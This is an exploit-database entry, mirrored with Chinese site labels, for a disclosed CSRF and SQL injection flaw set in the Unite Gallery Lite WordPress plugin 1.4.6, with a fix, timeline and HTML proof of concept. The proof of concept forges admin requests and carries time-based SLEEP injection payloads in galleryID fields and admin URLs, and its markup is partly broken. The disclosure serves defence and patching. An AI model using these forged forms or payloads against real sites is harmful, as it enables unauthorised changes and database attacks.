发布 2015-07-27 漏洞条目

WordPress Plugin Unite Gallery Lite 1.4.6 – Multiple Vulnerabilities

Exploit Source

# Title: Cross-Site Request Forgery & SQL Injection Vulnerabilities in Unite Gallery Lite Wordpress Plugin v1.4.6

# Submitter: Nitin Venkatesh

# Product: Unite Gallery Lite Wordpress Plugin

# Product URL: https://wordpress.org/plugins/unite-gallery-lite/

# Vulnerability Type: Cross-site Request Forgery [CWE-352], Improper

Neutralization of Special Elements used in an SQL Command ('SQL

Injection')[CWE-89]

# Affected Versions: v1.4.6 and possibly below.

# Tested versions: v1.4.6

# Fixed Version: v1.5

# Link to code diff: https://plugins.trac.wordpress.org/changeset/1178586/unite-gallery-lite

# Changelog: https://wordpress.org/plugins/unite-gallery-lite/changelog/

# CVE Status: New & Unassigned

## Product Information:

The Unite Gallery is all in one image and video gallery for WordPress.

## Vulnerability Description:

The admin forms of the Unite Gallery Lite Wordpress Plugin are susceptible

to CSRF. Additionally, the following parameters were found to be

susceptible to SQLi -

Form submitted to /wp-admin/admin-ajax.php:

- data[galleryID]

Form submitted to /wp-admin/admin.php:

- galleryid

- id

## Proof of Concept:

<!DOCTYPE html>

<html>

<head>

<title>CSRF + SQLi in Unite Gallery Lite Wordpress Plugin v1.4.6</title>

</head>

<body>

<h1>CSRF + SQLi in Unite Gallery Lite Wordpress Plugin v1.4.6</h1>

<p>CSRF - Create Gallery</p>

</form>

<p>CSRF + SQLi - Update Gallery</p>

<input type="hidden" name="data[main][shortcode]" value='[unitegallery

test2]' />

<input type="hidden" name="data[params][theme_carousel_align]"

value='center' />

<input type="hidden" name="data[params][tile_image_resolution]"

value='medium' />

<input type="hidden" name="data[params][carousel_space_between_tiles]"

value='20' />

<input type="hidden" name="data[params][carousel_scroll_duration]"

value='500' />

<input type="hidden" name="data[params][carousel_scroll_easing]"

value='easeOutCubic' />

<input type="hidden" name="data[params][carousel_autoplay_timeout]"

value='3000' />

<input type="hidden" name="data[params][carousel_autoplay_direction]"

value='right' />

<input type="hidden" name="data[params][carousel_autoplay_pause_onhover]"

value='true' />

<input type="hidden" name="data[params][theme_enable_navigation]"

value='true' />

<input type="hidden" name="data[params][theme_navigation_enable_play]"

value='true' />

<input type="hidden" name="data[params][theme_navigation_align]"

value='center' />

<input type="hidden" name="data[params][theme_navigation_offset_hor]"

value='0' />

<input type="hidden" name="data[params][theme_navigation_position]"

value='bottom' />

<input type="hidden" name="data[params][theme_navigation_margin]"

value='20' />

<input type="hidden" name="data[params][theme_space_between_arrows]"

value='5' />

<input type="hidden" name="data[params][carousel_navigation_numtiles]"

value='3' />

<input type="hidden" name="data[params][tile_border_color]" value='#f0f0f0'

<input type="hidden" name="data[params][tile_enable_outline]" value='true'

<input type="hidden" name="data[params][tile_outline_color]"

value='#8b8b8b' />

<input type="hidden" name="data[params][tile_enable_shadow]" value='false'

<input type="hidden" name="data[params][tile_shadow_color]" value='#8b8b8b'

<input type="hidden" name="data[params][tile_enable_image_effect]"

value='false' />

<input type="hidden" name="data[params][tile_image_effect_type]" value='bw'

<input type="hidden" name="data[params][tile_image_effect_reverse]"

value='false' />

<input type="hidden" name="data[params][tile_enable_overlay]" value='true'

<input type="hidden" name="data[params][tile_overlay_opacity]" value='0.4'

<input type="hidden" name="data[params][tile_overlay_color]"

value='#000000' />

<input type="hidden" name="data[params][tile_show_link_icon]" value='false'

<input type="hidden" name="data[params][tile_space_between_icons]"

value='26' />

<input type="hidden" name="data[params][tile_enable_textpanel]"

value='false' />

<input type="hidden" name="data[params][tile_textpanel_source]"

value='title' />

<input type="hidden" name="data[params][tile_textpanel_always_on]"

value='false' />

<input type="hidden" name="data[params][tile_textpanel_appear_type]"

value='slide' />

<input type="hidden" name="data[params][tile_textpanel_padding_top]"

value='8' />

<input type="hidden" name="data[params][tile_textpanel_padding_bottom]"

value='8' />

<input type="hidden" name="data[params][tile_textpanel_padding_left]"

value='11' />

<input type="hidden" name="data[params][tile_textpanel_padding_right]"

value='11' />

<input type="hidden" name="data[params][tile_textpanel_bg_color]"

value='#000000' />

<input type="hidden" name="data[params][tile_textpanel_bg_opacity]"

value='0.6' />

<input type="hidden" name="data[params][tile_textpanel_title_color]"

value='#ffffff' />

<input type="hidden" name="data[params][tile_textpanel_title_text_align]"

value='left' />

<input type="hidden" name="data[params][tile_textpanel_title_font_size]"

value='14' />

<input type="hidden" name="data[params][tile_textpanel_title_bold]"

value='true' />

<input type="hidden" name="data[params][lightbox_hide_arrows_onvideoplay]"

value='true' />

<input type="hidden" name="data[params][lightbox_slider_control_zoom]"

value='true' />

<input type="hidden" name="data[params][gallery_mousewheel_role]"

value='zoom' />

<input type="hidden" name="data[params][lightbox_overlay_opacity]"

value='1' />

<input type="hidden" name="data[params][lightbox_overlay_color]"

value='#000000' />

<input type="hidden" name="data[params][lightbox_top_panel_opacity]"

value='0.4' />

<input type="hidden" name="data[params][lightbox_show_numbers]"

value='true' />

<input type="hidden" name="data[params][lightbox_numbers_size]" value='14'

<input type="hidden" name="data[params][lightbox_numbers_color]"

value='#e5e5e5' />

<input type="hidden" name="data[params][lightbox_show_textpanel]"

value='true' />

<input type="hidden" name="data[params][lightbox_textpanel_width]"

value='550' />

<input type="hidden" name="data[params][lightbox_textpanel_source]"

value='title' />

<input type="hidden" name="data[params][lightbox_textpanel_title_color]"

value='#e5e5e5' />

<input type="hidden"

name="data[params][lightbox_textpanel_title_text_align]" value='left' />

<input type="hidden"

name="data[params][lightbox_textpanel_title_font_size]" value='14' />

<input type="hidden" name="data[params][lightbox_textpanel_title_bold]"

value='false' />

<input type="hidden" name="data[params][lightbox_compact_overlay_opacity]"

value='0.6' />

<input type="hidden" name="data[params][lightbox_compact_overlay_color]"

value='#000000' />

<input type="hidden" name="data[params][lightbox_arrows_position]"

value='sides' />

<input type="hidden" name="data[params][lightbox_arrows_inside_alwayson]"

value='false' />

<input type="hidden" name="data[params][lightbox_compact_show_numbers]"

value='true' />

<input type="hidden" name="data[params][lightbox_compact_numbers_size]"

value='14' />

<input type="hidden" name="data[params][lightbox_compact_numbers_color]"

value='#e5e5e5' />

<input type="hidden"

name="data[params][lightbox_compact_numbers_padding_top]" value='7' />

<input type="hidden"

name="data[params][lightbox_compact_numbers_padding_right]" value='5' />

<input type="hidden" name="data[params][lightbox_compact_show_textpanel]"

value='true' />

<input type="hidden" name="data[params][lightbox_compact_textpanel_source]"

value='title' />

<input type="hidden"

name="data[params][lightbox_compact_textpanel_title_color]" value='#e5e5e5'

<input type="hidden"

name="data[params][lightbox_compact_textpanel_title_font_size]" value='14'

<input type="hidden"

name="data[params][lightbox_compact_textpanel_title_bold]" value='false' />

<input type="hidden"

name="data[params][lightbox_compact_textpanel_padding_top]" value='5' />

<input type="hidden"

name="data[params][lightbox_compact_textpanel_padding_left]" value='10' />

<input type="hidden"

name="data[params][lightbox_compact_textpanel_padding_right]" value='10' />

<input type="hidden"

name="data[params][lightbox_compact_slider_image_border]" value='true' />

<input type="hidden"

name="data[params][lightbox_compact_slider_image_border_width]" value='10'

<input type="hidden"

name="data[params][lightbox_compact_slider_image_border_color]"

value='#ffffff' />

<input type="hidden"

name="data[params][lightbox_compact_slider_image_border_radius]" value='0'

<input type="hidden"

name="data[params][lightbox_compact_slider_image_shadow]" value='true' />

<input type="hidden" name="data[params][gallery_debug_errors]"

value='false' />

<input type="hidden" name="data[galleryID]" value='1 AND (SELECT * FROM

(SELECT(SLEEP(5)))rock)' />

</form>

<p>CSRF - Add Items</p>

<input type="hidden" name="data[urlVideo_mp4]" value='

http://video-js.zencoder.com/oceans-clip.mp4' />

<input type="hidden" name="data[urlVideo_webm]" value='

http://video-js.zencoder.com/oceans-clip.webm' />

<input type="hidden" name="data[urlVideo_ogv]" value='

http://video-js.zencoder.com/oceans-clip.ogv' />

</form>

<p>CSRF + SQLi - Retrieve Items (Edit Settings - Items Tab)</p>

<input type="hidden" name="data[galleryID]" value='1 AND (SELECT * FROM

(SELECT(SLEEP(5)))rock)' />

</form>

<p> CSRF + SQLi - Action buttons</p>

<ul>

<li>

<a href="https://www.exploit-db.com/exploits/37705/

http://localhost/wp-admin/admin.php?page=unitegallery&view=items&galleryid=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)

</a></li>

<li>

<a href="https://www.exploit-db.com/exploits/37705/

http://localhost/wp-admin/admin.php?page=unitegallery&view=preview&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)

</a>

</li>

</ul>

</body>

</html>

## Solution:

Upgrade to v1.5 or higher

## Disclosure Timeline:

2015-06-06 - Discovered. Reported to developer.

2015-06-10 - Updated version released.

2015-07-25 - Publishing disclosure on FD mailing list

## Disclaimer:

This disclosure is purely meant for educational purposes. I will in no way

be responsible as to how the information in this disclosure is used.

作者: Nitin Venkatesh
日期: 2015-07-27
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection